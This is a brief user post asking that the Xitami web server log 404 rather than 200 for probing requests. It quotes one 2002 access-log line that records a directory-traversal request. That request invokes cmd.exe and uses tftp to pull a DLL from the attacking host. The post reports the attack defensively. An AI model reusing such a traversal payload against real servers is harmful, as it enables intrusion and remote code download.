In the next update it would be nice if Xitami gave these (and similar) mischevious entries a 404 instead of a 200. Harmless to be sure but it's never comfortable seeing 200 in the log. 68.39.206.94 - - [18/Oct/2002:17:04:01 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20- i%2068.39.206.94%20GET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" "" ~Michael